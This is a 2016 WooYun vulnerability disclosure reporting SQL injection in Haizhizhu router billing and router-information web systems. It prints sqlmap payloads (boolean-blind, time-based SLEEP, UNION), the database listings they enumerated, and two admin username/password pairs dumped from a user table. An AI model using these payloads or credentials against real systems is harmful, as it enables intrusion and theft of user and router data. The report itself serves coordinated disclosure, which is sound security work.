当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0207315

漏洞标题：wifi安全之海蜘蛛多处SQL注入打包（影响大量路由器）

相关厂商：武汉海蜘蛛网络科技有限公司

漏洞作者： 千机

提交时间：2016-05-11 13:10

修复时间：2016-06-27 18:20

公开时间：2016-06-27 18:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-11： 细节已通知厂商并且等待厂商处理中
2016-05-13： 厂商已经确认，细节仅向厂商公开
2016-05-23： 细节向核心白帽子及相关领域专家公开
2016-06-02： 细节向普通白帽子公开
2016-06-12： 细节向实习白帽子公开
2016-06-27： 细节向公众公开

简要描述：

武汉海蜘蛛网络科技有限公司成立于2005年，是一家专注于网络新技术研发及应用的高科技企业，是知名的专业路由系统提供商。
几年来，公司先后参与多项国家重大项目，取得数十项自主知识产权，业界成绩不仅得到国家科技部重点关注，同时也赢得社会多家风险投资机构关注，在中国软路由行业具有较大影响力，并处于“领跑者”身份，市场前景无限。

● 国家级高新技术企业
● 国家科技部创新基金项目支持单位
● 获国家公安部计算机信息系统安全专用产品销售许可证
● 武汉市科技局创新基金项目支持单位
● 获数十项知识产权
● “海蜘蛛”被评为武汉市著名商标
● 全国超300家代理商
● “英特尔”战略合作伙伴
● 中国电信战略合作伙伴
● 中国移动战略合作伙伴

详细说明：

https://**.**.**.**/demo.htm


这个貌似是个demo演示的网站，这里提供了一个认证计费系统演示地址的后台登陆账号密码。
于是进去看看，就发现了sql注入
注入存在于查询用户处

http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11* (GET)


---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11%' AND 1088=1088 AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11%' AND (SELECT * FROM (SELECT(SLEEP(5)))RkuO) AND '%'='
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://**.**.**.**:80/admin.php/User/index/texttype/username/text/11%' UNION ALL SELECT NULL,CONCAT(0x71706a7a71,0x55796e7749487a486c52635342455759514b6e595149774a514d63586c4f47624c494e5344574b51,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
back-end DBMS: MySQL 5.0.12
banner:    '5.1.45'


影响5个数据库，root权限，，shell没成功。。

available databases [5]:
[*] bak
[*] information_schema
[*] mysql
[*] radius
[*] test


这个查询的地方同样存在着注入

211.png


212.png


这个后台应该挺多注入的。随便找两个就找到了。其他的自查吧
另一处存在于海蜘蛛路由信息系统

http://**.**.**.**/index.php/Login


在登陆处存在sql注入

http://**.**.**.**:80/index.php/Login/checkLogin (POST)
name=admin&password=admin&verify=3832


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: name=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))kdKR) AND 'AYlD'='AYlD&password=admin&verify=3832
---
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.12
current database:    'hsrouter'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: name=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))kdKR) AND 'AYlD'='AYlD&password=admin&verify=3832
---


影响19个数据库

[*] bak
[*] bak2
[*] bak_operate
[*] forumx2
[*] hs_spider
[*] hsrouter
[*] hsrouterinfo
[*] information_schema
[*] lottery
[*] my_wiki
[*] mysql
[*] operate
[*] radius
[*] radiuscloud
[*] registration
[*] test
[*] tipask
[*] tomreport
[*] ucenter


radius就是刚才的那个认证计费系统的数据库
wiki应该是内部wiki的数据库
UCenter就应该是bbs的数据库了。
当前的数据库是hsrouter

Database: hsrouter
+----------+---------+
| Table    | Entries |
+----------+---------+
| register | 117962  |
| try      | 7732    |
| try_max  | 624     |
| host_max | 576     |
| industry | 33      |
| `user`   | 2       |
+----------+---------+


11w的这个不知道是不是路由器的数量
密码存在user表中，读取出数据，
账号密码为

thx   123456
      hispider  hzz123456


213.png


在线路由器9741个。。
泄露了编号ip及地址

214.png


215.png

漏洞证明：

215.png

修复方案：

改改改

版权声明：转载请注明来源 千机@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-05-13 18:19

厂商回复：

CNVD确认并复现所述情况，已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态：

暂无

漏洞评价：

评价